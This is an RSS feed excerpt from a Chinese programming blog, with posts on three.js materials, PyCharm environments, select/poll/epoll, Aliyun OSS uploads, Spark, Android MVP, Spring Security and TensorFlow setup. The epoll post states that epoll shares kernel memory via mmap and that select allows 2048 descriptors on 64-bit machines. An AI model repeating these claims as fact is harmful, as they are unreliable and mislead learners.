一种非光泽表面的材质，没有镜面高光。&#xA;该材质使用基于非物理的Lambertian模型来计算反射率。&#xA;这可以很好地模拟一些表面（例如未经处理的木材或石材），但不能模拟具有镜面高光的光泽表面（例如涂漆木材）。&#xA;使用Gouraud着色模型计算着色。这将计算每个顶点的着色 （即在vertex shader中）并在多边形的面上插入结果。&#xA;基本属性：color、opacity、shading、blending、depthTest、depthWrite、wireframe、wireframeLineWith、wirefLinecap、wireframeLinejoin、vertexColors、fog。&#xA;独特属性：&#xA;ambient：和AmbientLight光源一起使用。该颜色会与AmbientLight光源的颜色相乘。默认是白色。&#xA;emissive：该材质发射的属性。不像是光源，只是一种纯粹的、不受其他光照影响的颜色。默认是黑色。&#xA;9.MeshPhongMaterial 该材质使用非物理的Blinn-Phong模型来计算反射率。&#xA;与MeshLambertMaterial的区别是，该材质可以模拟具有镜面高光的光泽表面（例如涂漆木材）。&#xA;使用Phong着色模型计算着色时，会计算每个像素的阴影（在fragment shader， AKA pixel&#xA;shader中），与MeshLambertMaterial使用的Gouraud模型相比，该模型的结果更准确，但代价是牺牲一些性能。&#xA;MeshStandardMaterial和MeshPhysicalMaterial也使用这个着色模型。&#xA;独特属性：&#xA;ambient&#xA;emissive&#xA;specular：指定该材质的光亮程度及其高光部分的颜色。如果将他设置成跟color属性相同的颜色，将会得到一种更加类似金属的材质。如果设置为灰色，材质将变得更像塑料。&#xA;shininess：指定高光部分的亮度。默认是30.&#xA;10.MeshToonMaterial MeshPhongMaterial卡通着色的扩展。 11.MeshStandardMaterial 一种基于物理的标准材质，使用Metallic-Roughness工作流程。&#xA;基于物理的渲染（PBR）最近已成为许多3D应用程序的标准，例如Unity， Unreal和 3D Studio Max。&#xA;这种方法与旧方法的不同之处在于，不使用近似值来表示光与表面的相互作用，而是使用物理上正确的模型。&#xA;我们的想法是，不是在特定照明下调整材质以使其看起来很好，而是可以创建一种材质，能够“正确”地应对所有光照场景。 在实践中，该材质提供了比MeshLambertMaterial 或MeshPhongMaterial 更精确和逼真的结果，代价是计算成本更高。&#xA;计算着色的方式与MeshPhongMaterial相同，都使用Phong着色模型。&#xA;12.MeshPhysicalMaterial MeshStandardMaterial的扩展，能够更好地控制反射率。 13.SpriteMaterial 一种使用Sprite的材质。粒子、点云使用的材质。 14.ShaderMaterial 使用自定义的着色器程序，直接控制顶点的放置方式，以及像素的着色方式。&#xA;独特属性：</description>
    </item>
    <item>
      <title>pycharm中new environment using和existing interpreter（Virtualenv E*t,Conda E*t,System i*r，pipenv E*t）区别</title>
      <link>https://bchobby.github.io/posts/9c7f6725baf7144ed798b56540ef0278/</link>
      <pubDate>Fri, 11 Oct 2019 17:49:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c7f6725baf7144ed798b56540ef0278/</guid>
      <description>new environment using和existing interpreter new environment using是为项目创建一个新的环境，这里有三个选择：Virtualenv,Pipenv,Conda&#xA;Virtualenv Environment:是虚拟环境的意思，它在项目文件下创建一个独立虚拟环境(venv),他是一款工具，在pycharn中集成了。它会创建一个独立的虚拟环境，可以使一个Python程序拥有独立的库library和解释器interpreter，而不用与其他Python程序共享统一个library和interpreter程序间，避免了不同Python程序间的互相影响，独立的使用一个Python解释器，不会与本地解释器产生影响。&#xA;pipnev:包管理模块&#xA;conda:在conda环境下创建一个虚拟环境，venv在anaconda下，项目文件在venv下。&#xA;新建一个Virtualenv： 第一个Location，项目文件名默认的是untitled，选择Virtualenv后，其下面的第二个Location在项目文件下新增了venv,解释器自动选择的是原来安装的Python解释器(非anaconda下的Python解释器)，第三个箭头的意思是导入Base interpreter对应的解释器中已安装的包，虚拟环境下会自带一些包，但是包的数量少，最好勾选第三个箭头。&#xA;虚拟环境下未勾选inherit global site-packages时，package只有pip,setupools&#xA;虚拟环境下勾选inherit global site-packages的情况，package多了numpy,这是一个数组包，Python解释器里没有，需要自己手动下载，如果下载了anaconda，anaconda会自带numpy.【如何下载包，详见我的另一篇文章：】&#xA;新建一个Conda环境下的虚拟环境： 这里有三种情况：&#xA;1.在conda executable下选择conda.exe(此执行文件在scripts下),系统一般自动默认此项，location:项目文件自动到anaconda的envs下。我们也可以自己设置路径，不会有影响。&#xA;未修改路径的情况以及包内容：&#xA;修改后的路径以及包内容：&#xA;2.在conda executable下选择_conda.exe,路径自动变到c盘下。&#xA;未修改路径情况及包内容：&#xA;修改路径情况及包内容：&#xA;3.在conda executable选项下选择anaconda下的Python.exe，会出现问题。&#xA;即使修改路径仍然会出现问题&#xA;existing interpreter情况: 字面上理解就是已经存在的解释器，可选择得有4种&#xA;Virtualenv Environment,Conda environment,System interpreter，Pipenv Environment&#xA;Virtualenv Environment:这里还出现Virtualenv Environment，是因为我们也可以在本地安装个虚拟环境，不再是依托pycharm中集成的，具体在本地创建虚拟环境见：https://blog.csdn.net/u011318077/article/details/85318097&#xA;Conda environment：这里可以选择anaconda下的python.exe，里面有很多包&#xA;如果选择anaconda下的conda.exe，不能创建成功&#xA;如果选择anaconda下的_conda.exe，不能创建成功&#xA;System interpreter:本地解释器，这个选择安装的Python解释器。</description>
    </item>
    <item>
      <title>Database - PLSQL安装、使用、汉化</title>
      <link>https://bchobby.github.io/posts/fd1782e0b02d1c8d8174d66416a9c133/</link>
      <pubDate>Thu, 10 Oct 2019 18:20:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd1782e0b02d1c8d8174d66416a9c133/</guid>
      <description>这篇还不完善，之后我会补充plsql的安装，还有汉化软件&#xA;安装部分汉化部分无汉化选项 - 处理方式 安装部分 1.执行安装 .exe文件&#xA;2.同意协议&#xA;3.选择安装目录&#xA;4.选正常的安装类型即可&#xA;5.确定安装目录、类型&#xA;6.完成安装&#xA;汉化部分 总步骤：顶部菜单 → Tools → Preferences → User Interface → Appearance → Language → Chinese.lang → Apply → OK&#xA;步骤 1：Tools → Preferences&#xA;未汉化版&#xA;已汉化版&#xA;步骤 2：User Interface → Appearance → Language → Chinese.lang → Apply → OK&#xA;未汉化版&#xA;已汉化版&#xA;无汉化选项 - 处理方式 下载PLSQL的汉化包，然后将对应文件放在对应区域内&#xA;Chinese文件夹内的文件</description>
    </item>
    <item>
      <title>spark提交任务详解</title>
      <link>https://bchobby.github.io/posts/4996c8101170b6d44c07809716b865ce/</link>
      <pubDate>Thu, 10 Oct 2019 16:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4996c8101170b6d44c07809716b865ce/</guid>
      <description> </description>
    </item>
    <item>
      <title>select、poll、epoll之间的区别</title>
      <link>https://bchobby.github.io/posts/6796468342f856917bec66ac020239d8/</link>
      <pubDate>Thu, 10 Oct 2019 15:51:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6796468342f856917bec66ac020239d8/</guid>
      <description>select、poll、epoll之间的区别:&#xA;(1)、select==&amp;gt;时间复杂度O(n)&#xA;select仅仅知道了，有I/O时间发生了，却并不知道是哪几个流（可能一个、多个、甚至全部）,我们只能无差别的轮询所有的流，找出能读出数据，或者写入数据的流，对他们进行操作。所以select具有O(n)的无差别的轮询复杂度，同时处理的流越多，无差别轮询时间越长。&#xA;(2)、poll==&amp;gt;时间复杂度O(n)&#xA;poll本质上和select没有区别，它将用户传入的数组拷贝到内核空间，然后查询每个fd对应的设备状态，但是它没有最大连接数的限制，原因是它是基于链表来存储的。&#xA;(3)、epoll==&amp;gt;时间复杂度O(1)&#xA;epoll可以理解为event poll，不同于忙轮询和无差别轮询，epoll会把哪个流发生了怎样的I/O事件通知我们。所以我们说epoll实际上是事件驱动（每个事件关联上fd）的，此时我们操作这些流都是有意义的。（复杂度降低到了O(1)）&#xA;select、poll、epoll都是I/O多路复用的机制。I/O多路复用就通过一种机制，可以监视多个描述符，一旦某个描述符就绪（一般就是读就绪或者写就绪），能够通知程序进行相应的读写操作。但select，poll,epoll本质上都是同步I/O,因为他们都需要在读写事件就绪后自己负责进行读写，也就是说这个读写过程是阻塞的，而异步I/O则无需自己负责进行读写，异步I/O的实现会负责把数据从内核拷贝到用户空间。&#xA;epoll和select都能够提供多路I/O复用的解决方案。在现在的linux内核里都能够支持，其中epoll是linux所特有的，而select则在一般的操作系统中都有实现，是POSIX所规定。&#xA;select:&#xA;select本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是：&#xA;（1）、单个进程可监视的fd的数量被限制，即能监听的端口的大小有限。这个数字和系统内存关系很大，可以在cat /proc/sys/fs/file-max查看。32位机器默认是1024个。64位机器默认是2048个。&#xA;（2）、对socket进行扫描时是线性扫描，即采用轮询的方法，效率较低：&#xA;当套接字比较多的时候，每次select（）都要通过遍历FD_SETSIZE个socket来完成调度，不管哪个socket是活跃的，都遍历一遍。这浪费了很多cpu的时间。如果能给套接字注册某个回调函数，当他们活跃时，自动完成相关操作，那就避免了轮询，这正是epoll和kqueue做的。&#xA;（3）、需要维护一个用来存放大量fd的数据结构，这样会使得用户空间、内核空间在传递该结构时复制开销大。&#xA;poll：&#xA;poll本质上和select没有区别，它将用户传入的数组拷贝到内核空间，然后查询每个fd对应的设备状态，如果设备就绪则在设备等待队列中加入一项并继续遍历，如果遍历完所有的fd后没有发现就绪设备，则挂起当前进程，直到设备就绪或者主动超时，被唤醒后它又要再次遍历fd。这个过程经历了多次无谓的遍历。&#xA;poll是基于链表来存储的，所以它没有最大连接数的限制，但同样有一个缺点：&#xA;（1）、大量的fd的数组被整体复制于用户态和内核地址空间之间，而不管这样的复制是不是有意义。&#xA;（2）、poll还有一个特点是“水平触发”,如果报告了fd后，没有被处理，那么下次poll时会再次报告该fd。&#xA;epoll&#xA;epoll有epolllt和epollet两种触发模式，lt是默认的模式，et是高速模式。lt模式下，只要这个fd还有数据可读，每次epoll_wait都会返回它的事件，提醒用户程序去操作，而在et（边缘触发）模式中，它只会提示一次，直到下次再有数据流入之前都不会再提示了，无论fd中是否还有数据可读。所以在et模式下，read一个fd的时候一定要把它的buffer读光，也就是说一直读到read的返回值小于请求值，或者遇到eagain错误。还有一个特点，epoll使用事件的就绪通知方式，通过epoll_ctl注册fd，一旦该fd就绪，内核就会采用callback的回调机制来激活该fd,epoll_wait便可以收到通知。&#xA;epoll为什么要有epollet触发模式？&#xA;如果采用epolllt模式的话，系统中一旦有大量你不需要读写的就绪文件描述符，它们每次调用epoll_wait都会返回，这样会大大降低处理程序检索自己关心的就绪文件描述符的效率。&#xA;而采用epollet这种边沿触发模式的话，当被监控的文件描述符上有读写事件发生时，epoll_wait（）会通知处理程序去读写。&#xA;如果这次没有把数据全部读写完成（如读写缓冲区太小）,那么下次调用epoll_wait（）时，它不会通知你，也就是只会通知你一次，直到该文件描述符上出现第二次可读写事件才会通知你！！！这种模式比水品触发效率高，系统不会充斥大量你不关心的就绪文件描述符。&#xA;epoll的优点：&#xA;1、没有最大并发连接的限制，能打开的fd的上限远大于1024（1G的内存上能监听10万个端口）;&#xA;2、效率提升，不是轮询的方式，不会随着fd数目的增加效率下降，只有活跃可用的fd才会调用callback函数;即epoll最大的优点是它只管活跃的连接，而与总链接数无关，因此在实际的网络环境中，epoll的效率就会远高于select和poll。&#xA;3、内存拷贝，利用mmap()文件映射内存加速于内核空间的消息传递；即epoll使用mmap减少复制开销。&#xA;select、poll、epoll的区别总结：&#xA;1、支持一个进程所能打开的最大连接数&#xA;select 是 32位机默认是1024个，64位机默认是2048。&#xA;poll 本质上于select没有区别，但是它没有最大连接数的限制，原因是它是基于链表来存储的。&#xA;epoll 虽然有连接数上限，但是很大，1G内存的机器上可以打开10万左右的连接，2G内存的可以打开20万左右的连接。&#xA;2、fd剧增后带来的I/O效率问题&#xA;select 每次调用事都会对连接进行线性遍历，所以随着fd的增加会造成遍历速度慢，呈线性下降性能问题。&#xA;poll 同上&#xA;epoll epoll内核中实现是根据每个fd的callback函数来实现的，只有活跃的socket才会主动调用callback，所以在活跃的socket较少的情况下，使用epoll没有前面两者的线性下降的性能问题，但是所有的socket都很活跃的情况下，可能会有性能问题。&#xA;3、消息传递方式&#xA;select 内核需要将消息传递到用户空间，都需要内核拷贝动作&#xA;poll 同上&#xA;epoll 通过内核和用户空间共享一块内存来实现的。&#xA;总结：&#xA;综上，在选择select，poll，epoll时要根据具体的使用场合以及这三种方式的自身特点。&#xA;1、表面上看epoll的性能最好，但是在连接数少并且连接都十分活跃的情况下，select和poll的性能可能比epoll好，毕竟epoll的通知机制需要很多函数回调。&#xA;2、select低效是因为每次它都需要轮询。但低效也是相对的，视情况而定，也可通过良好的设计改善。</description>
    </item>
    <item>
      <title>上传图片到OSS-browser</title>
      <link>https://bchobby.github.io/posts/2cc9441914b5a6d357cde6d945785f4b/</link>
      <pubDate>Thu, 10 Oct 2019 10:41:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cc9441914b5a6d357cde6d945785f4b/</guid>
      <description>OSS-browser下载地址：https://github.com/aliyun/oss-browser/blob/master/all-releases.md&#xA;阿里云官方文档 https://help.aliyun.com/document_detail/32008.html&#xA;原文链接：https://blog.csdn.net/u014079773/article/details/66968718?locationNum=9&amp;amp;fps=1#&#xA;因为所需是kotlin的，所以根据原文改写了一个kotlin语言的 阿里云OSS对象存储上传图片&#xA;gradle配置&#xA;dependencies里面增加&#xA;implementation &#39;com.aliyun.oss:aliyun-sdk-oss:2.5.0&#39; 常量类&#xA;package com.beeb.web.module.aliyun import com.aliyun.oss.OSSClient import com.aliyun.oss.model.ObjectMetadata import java.io.File import java.io.FileInputStream /** * @class: AliyunOSSClientUtils * @descript: java使用阿里云OSS存储对象上传 */ object AliyunOSSClientUtils { /** aliyun静态配置 */ private var ENDPOINT = &#34;XX&#34; // 阿里云API的内或外网域名 private var ACCESS_KEY_ID = &#34;XX&#34; // 阿里云API的密钥Access Key ID private var ACCESS_KEY_SECRET = &#34;XX&#34; // 阿里云API的密钥Access Key Secret private var BACKET_NAME = &#34;XX&#34; // 阿里云API的bucket名称 /** * 获取阿里云OSS客户端对象 * @return ossClient */ val ossClient = OSSClient(ENDPOINT, ACCESS_KEY_ID, ACCESS_KEY_SECRET) /** * 上传图片至OSS * @param ossClient oss连接 * @param file 上传文件（文件全路径） * @param bucketName 存储空间 * @param folder 模拟文件夹名 如&#34;</description>
    </item>
    <item>
      <title>吴恩达深度学习推荐论文列表[附论文链接]</title>
      <link>https://bchobby.github.io/posts/99a1a2de5126abce885e190e35b55fcc/</link>
      <pubDate>Wed, 09 Oct 2019 21:48:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99a1a2de5126abce885e190e35b55fcc/</guid>
      <description>从看到第四课开始，发现出现论文的频率高了不少，想着把这些论文都粗略的读下，就先把他们列在这里，如有不全烦请告知&#xA;第一课：NeuralNetworks &amp;amp; Deep Learning 并没有&#xA;第二课：Improving Deep Neural Networks :Hyperparameter tuning, Regularization and Optimization Dropout Srivastava, Nitish, et al. “Dropout: a simple way to prevent neural networks from overfitting.” The journal of machine learning research 15.1 (2014): 1929-1958.&#xA;论文链接&#xA;Adam Kingma, Diederik P., and Jimmy Ba. “Adam: A method for stochastic optimization.” arXiv preprint arXiv:1412.6980 (2014).&#xA;论文链接&#xA;第三课：Structuring Machine Learning Projects 也没有&#xA;第四课：Convolutional Neural Networks LeNet-5 LeCun, Yann, et al.</description>
    </item>
    <item>
      <title>spark案例解析（全国农产品市场与省份）</title>
      <link>https://bchobby.github.io/posts/57d02f2c0a18754a3e291c5631d6ae3b/</link>
      <pubDate>Wed, 09 Oct 2019 15:56:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57d02f2c0a18754a3e291c5631d6ae3b/</guid>
      <description>需求 (一) 数据描述&#xA;1、数据参数&#xA;该数据每日进行采集汇总。数据范围涵盖全国主要省份（港澳台西藏海南暂无数&#xA;据）的 180+的大型农产品批发市场，380+的农产品品类（由于季节性和地域性&#xA;等特点，每日的数据中不一定会涵盖全部的农产品品类）。&#xA;2、数据类型&#xA;（二）功能需求&#xA;1、农产品市场个数统计&#xA;统计每个省份的农产品市场总数统计没有农产品市场的省份有哪些 2、农产品种类统计&#xA;根据农产品类型数量，统计排名前 3 名的省份根据农产品类型数量，统计每个省份排名前 3 名的农产品市场 3、价格区间统计,&#xA;计算山西省的每种农产品的价格波动趋势，即计算每天价格均值。某种农产品的价格均值计算公式：&#xA;PAVG = (PM1+PM2+…+PMn-max§-min§)/(N-2)&#xA;其中，P 表示价格，Mn 表示 market，即农产品市场。PM1 表示 M1 农产品&#xA;市场的该产品价格，max§表示价格最大值，min§价格最小值。 数据展示 allprovince.txt&#xA;河北 山西 辽宁 吉林 黑龙江 江苏 浙江 安徽 福建 江西 山东 河南 ... product.txt&#xA;生菜&#x9;2.00&#x9;2018/1/1&#x9;山西汾阳市晋阳农副产品批发市场&#x9;山西&#x9;汾阳 芹菜&#x9;2.40&#x9;2018/1/1&#x9;山西汾阳市晋阳农副产品批发市场&#x9;山西&#x9;汾阳 菜花&#x9;3.80&#x9;2018/1/1&#x9;北京朝阳区大洋路综合市场&#x9;北京&#x9;朝阳 生姜&#x9;10.00&#x9;2018/1/1&#x9;北京朝阳区大洋路综合市场&#x9;北京&#x9;朝阳 山药&#x9;8.</description>
    </item>
    <item>
      <title>Android MVP 模式使用指南</title>
      <link>https://bchobby.github.io/posts/121396b5e687659d5c750daee773bc73/</link>
      <pubDate>Wed, 09 Oct 2019 15:35:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/121396b5e687659d5c750daee773bc73/</guid>
      <description>参考github代码：github&#xA;参考博客：Google 官方Android MVP架构实践&#xA;简单的以google官方代码和自己的demo记录Android的MVP设计模式。&#xA;1.官方MVP模式： 官方MVP的samples的github地址是(https://github.com/googlesamples/android-architecture/)&#xA;若水三千，我们先取一瓢。先看看最简单的todo-mvp分支，这是最基础的MVP架构samples。&#xA;在我从前认识的MVP模式中，并不存在BasePresenter和BaseView两个文件，只需要针对不同的Presenter和View来定义不同的接口就行了。&#xA;来看一下这两个文件中都写了啥：&#xA;BasePresenter.java public interface BasePresenter { void start(); } BaseView.java public interface BaseView&amp;lt;T&amp;gt; { void setPresenter(T presenter); } BasePresenter中声明了一个方法，当我们的实现类presenter需要开始进行动作时，事先调用start方法，来进行一些预处理动作。（代码中都是在View的实现类的onResume中调用presenter的start方法）。&#xA;因为google的sample中presenter需要做一些画面初始化的操作，所以每个画面都需要这样的方法将数据加载到画面上，所以使用了这个方法来作为初始化方法，我们在实际编码时要根据情况观察是否使用这个模板。&#xA;BaseView中声明了一个方法，setPresenter()，这里的设计和我平常的理解有所不同。我平时的想法是在view的onCreate方法中new出presenter实例作为view的成员变量，而google的例子是在activity中使用fragment实例new出presenter实例，但是这个presenter不属于fragment，需要在presenter中调用mTasksView.setPresenter(this)。&#xA;TasksActivity.java @Override protected void onCreate(Bundle savedInstanceState) { ... TasksFragment tasksFragment = (TasksFragment) getSupportFragmentManager().findFragmentById(R.id.contentFrame); ... // Create the presenter mTasksPresenter = new TasksPresenter( Injection.provideTasksRepository(getApplicationContext()), tasksFragment); ... } TasksPresenter.java public TasksPresenter(@NonNull TasksRepository tasksRepository, @NonNull TasksContract.View tasksView) { mTasksRepository = checkNotNull(tasksRepository, &#34;tasksRepository cannot be null&#34;</description>
    </item>
    <item>
      <title>跟着燕青学Spring Security认证授权05--Spring Security快速入门</title>
      <link>https://bchobby.github.io/posts/f283dfba92b454f2d1f2b1789981c68c/</link>
      <pubDate>Wed, 09 Oct 2019 08:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f283dfba92b454f2d1f2b1789981c68c/</guid>
      <description>1 Spring Security介绍 Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。由于它是Spring生态系统中的一员，因此它伴随着整个Spring生态系统不断修正、升级，在spring boot项目中加入spring security更是十分简单，使用Spring Security 减少了为企业系统安全控制编写大量重复代码的工作。&#xA;2 创建工程 2.1 创建maven工程 创建maven工程 security-spring-security，工程结构如下：&#xA;2）引入以下依赖：&#xA;在security-springmvc的基础上增加spring-security的依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.security&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-security-config&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.2 Spring容器配置 同security-springmvc.&#xA;@Configuration @ComponentScan(basePackages = &#34;com.pbteach.security.springmvc&#34; ,excludeFilters = {@ComponentScan.Filter(type = FilterType.ANNOTATION,value = Controller.class)}) public class ApplicationConfig { //在此配置除了Controller的其它bean，比如：数据库链接池、事务管理器、业务bean等。 } 2.3 Servlet Context配置 同 “跟着燕青学Spring Security认证授权04–Servlet3.0 SpringMVC实现Session的认证方式”&#xA;@Configuration @EnableWebMvc @ComponentScan(basePackages = &#34;com.pbteach.security.springmvc&#34; ,includeFilters = {@ComponentScan.Filter(type = FilterType.ANNOTATION,value = Controller.class)}) public class WebConfig implements WebMvcConfigurer { //视频解析器 @Bean public InternalResourceViewResolver viewResolver(){ InternalResourceViewResolver viewResolver = new InternalResourceViewResolver(); viewResolver.</description>
    </item>
    <item>
      <title>赛内训练安排</title>
      <link>https://bchobby.github.io/posts/22c70601c8c4350e676874ea8309d169/</link>
      <pubDate>Tue, 08 Oct 2019 13:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22c70601c8c4350e676874ea8309d169/</guid>
      <description>1.训练赛认真参加，争取每次做完铜牌题。之后将能力范围内的铜银题补上。每场训练赛认真参加。每场训练赛认真参加。每场训练赛认真参加。&#xA;2.新知识补全：图论：lca，倍增，基尔霍夫矩阵树。&#xA;数据结构：树刨，点分治，树分治。&#xA;dp：状压dp，背包模型。&#xA;3.复习：线段树进阶。最短路剩余题。MST。简单图论。&#xA;转载于:https://www.cnblogs.com/bianjunting/p/11634950.html</description>
    </item>
    <item>
      <title>UVA7672(BFS)</title>
      <link>https://bchobby.github.io/posts/5ad1d1dcc94fbe272b73a72e696f2aba/</link>
      <pubDate>Tue, 08 Oct 2019 13:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ad1d1dcc94fbe272b73a72e696f2aba/</guid>
      <description>填个坑，赛内补&#xA;转载于:https://www.cnblogs.com/bianjunting/p/11634924.html</description>
    </item>
    <item>
      <title>UVALive7670(有上下界的费用流)</title>
      <link>https://bchobby.github.io/posts/4d695c87e3cd0438bb9fe956e6b179c8/</link>
      <pubDate>Tue, 08 Oct 2019 13:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d695c87e3cd0438bb9fe956e6b179c8/</guid>
      <description>填个坑，赛内补&#xA;转载于:https://www.cnblogs.com/bianjunting/p/11634919.html</description>
    </item>
    <item>
      <title>windows环境下在不支持AVX指令集的CPU上使用anaconda配置tensorflow</title>
      <link>https://bchobby.github.io/posts/1b276353a2dff3c14ae02ebff5e5b650/</link>
      <pubDate>Tue, 08 Oct 2019 03:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b276353a2dff3c14ae02ebff5e5b650/</guid>
      <description>因为在tf1.6以后官方的tf包都是用AVX编译的，因此如果cpu比较老（1156平台，775平台及更早），都是没这个指令集的，有几个方法可以解决这个问题：&#xA;1.使用Docker配置：在windows上显得有点zz，还要先配一个虚拟机，然后上面跑docker，如果要弄notebook还要配置许多其他的东西，我简单了解了下就扔了，我就这么一张卡打游戏，所以就只打算在win上配一下练练而已，不想这么麻烦。&#xA;2.自己编译tf：这个说实话我比较担心的是后续的环境管理的问题，所以感觉有些不便，不过这是一个绝对适配自己机器的方案，想要多了解一下的可以移步官方文档&#xA;3.使用第三方重新编译好的版本：这个比较简单明了，环境管理也比较方便，主要是用fo40225编译好的版本，截至20191007，尚未推出tensorflow2.0gpusse版本&#xA;现在我的远程服务器down掉了，不能确定以下安装方法是否有效，之前虽然配过一次，虽然最后成了，但是过程非常不顺利，以下安装方法是根据自己的记忆和理解复现的，可能会有各种各样的bug，不过还是希望有效，测试成功以后会更新本文，另外买新不买旧，不要再捡1156和775的垃圾啦！&#xA;类型型号MotherboardASRock P55 ProCPUX3440GPUGTX780内存8+2G电源COOLER MASTER GX550 接下来默认存在一定的conda基础，会简单的配置环境，并且已经添加了清华源或其他源&#xA;目标：tensorflowgpu1.14+jupyter notebook&#xA;首先下载&#xA;https://github.com/fo40225/tensorflow-windows-wheel/tree/master/1.14.0/py37/GPU/cuda101cudnn76sse下的tensorflow_gpu-1.14.0-cp37-cp37m-win_amd64.whl&#xA;conda create -n tfgpu114 python=3.7 #创建环境 conda activate tfgpu114 conda install cudatoolkit=10.1 cudnn=7.6 cd到你下载的whl文件的文件夹然后 pip3 install tensorflow_gpu-1.14.0-cp37-cp37m-win_amd64.whl pip3 install -U numpy==1.16.4 jupyter的远程访问&#xA;conda install jupyter #安装 jupyter notebook --generate-config #生成配置文件，在C:\Users\you\.jupyter\jupyter_notebook_config.json from notebook.auth import passwd passwd() #根据提示生成一个密码的hash值 需要更改的部分&#xA;c.NotebookApp.allow_remote_access = True c.NotebookApp.ip=&#39;*&#39; c.NotebookApp.password = u&#39;sha:ce...刚才复制的那个密文&#39; c.NotebookApp.open_browser = False c.NotebookApp.port =8899 #可自行指定一个端口, 访问时使用该端口 也可以远程启动&#xA;jupyter notebook --ip=your.</description>
    </item>
    <item>
      <title>Error: insufficient funds for gas * price &#43; value</title>
      <link>https://bchobby.github.io/posts/85bbd6221c36fc35ea7a4002f0f21f10/</link>
      <pubDate>Mon, 07 Oct 2019 21:35:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85bbd6221c36fc35ea7a4002f0f21f10/</guid>
      <description>区块链交易时，这个错误是最容易出现的，通常这代表着你的钱是不够的。&#xA;value代表着你要转的账，gas*price代表着付给矿工的费用，如果你的总费用不足以支持它们的和，那么自然是会报错的。</description>
    </item>
    <item>
      <title>源码阅读(18)：Java中主要的Map结构——HashMap容器（中）</title>
      <link>https://bchobby.github.io/posts/b599ef46987b552ef81922ecec10f22b/</link>
      <pubDate>Mon, 07 Oct 2019 20:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b599ef46987b552ef81922ecec10f22b/</guid>
      <description>（接上文《源码阅读(17)：红黑树在Java中的实现和应用》）&#xA;3.3、HashMap容器结构 上一篇文章我们讲解了红黑树的结构和基本操作，它属于HashMap容器重要的预备知识，现在我们可以正式开始介绍HashMap容器了。HashMap是一种Map容器，也就意味着HashMap中存储的数据对象都是以K-V键值对结构进行定义的，我们先基于JDK1.8中的源代码，介绍HashMap这个Map容器的基本构成。它包括了一个数组结构、一个链表结构和一个红黑树结构，如下图所示：&#xA;3.3.1、HashMap的基本构成 上图展示了HashMap容器的主要构造，我们可以发现HashMap容器的最基础结构是一个数组（变量名为table），这个数据的长度最小为16且可以增长，并且被要求必须以2的倍数进行数组容量的增长——这是一个非常有趣的现象，后文我们将对这个数据增长特性进行详细说明；&#xA;每个数组索引位上可能已存储K-V键值对也可能没有存储任何对象（为null）；当数组索引位上存储着对象时，如果这个对象是HashMap.Node类的实例，那么将以这个索引位为开始结点构造一个单向链表结构；如果这个对象是HashMap.TreeNode类的实例，那么将从这个索引位为根结点，构造一棵红黑树。红黑树相对于单向链表来说，一个显而易见的特点就是前者进行查找操作时，其时间复杂度更低，对于红黑树的详细介绍，将在本文后续内容中展开。&#xA;3.3.2、HashMap中的链表 HashMap容器中，使用HashMap.Node类的实例构造单向链表（中的每一个结点），代码如下所示：&#xA;/** * Basic hash bin node, used for most entries. (See below for * TreeNode subclass, and in LinkedHashMap for its Entry subclass.) */ static class Node&amp;lt;K,V&amp;gt; implements Map.Entry&amp;lt;K,V&amp;gt; { // 该属性存储了本K-V键值对信息排列在HashMap容器中所依据的hash计算结果 // 它的赋值过程请参考HashMap容器中的newNode()方法和replacementNode()方法 final int hash; // 记录本K-V键值对信息的键信息，由于K-V键值对信息在HashMap容器的排列位置完全参考键信息 // 所以K-V键值对信息一旦完成初始化动作，就不允许变更了 final K key; // 记录本K-V键值对信息的值信息 V value; // 由于需要使用本类的对象构造单向链表，所以需要next属性去存储单向链表中当前结点的下一个结点 Node&amp;lt;K,V&amp;gt; next; Node(int hash, K key, V value, Node&amp;lt;K,V&amp;gt; next) { this.</description>
    </item>
    <item>
      <title>Linux系统结构和硬盘结构1.0</title>
      <link>https://bchobby.github.io/posts/b8d94189e4dbd6244a60414b0e12d654/</link>
      <pubDate>Mon, 07 Oct 2019 19:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8d94189e4dbd6244a60414b0e12d654/</guid>
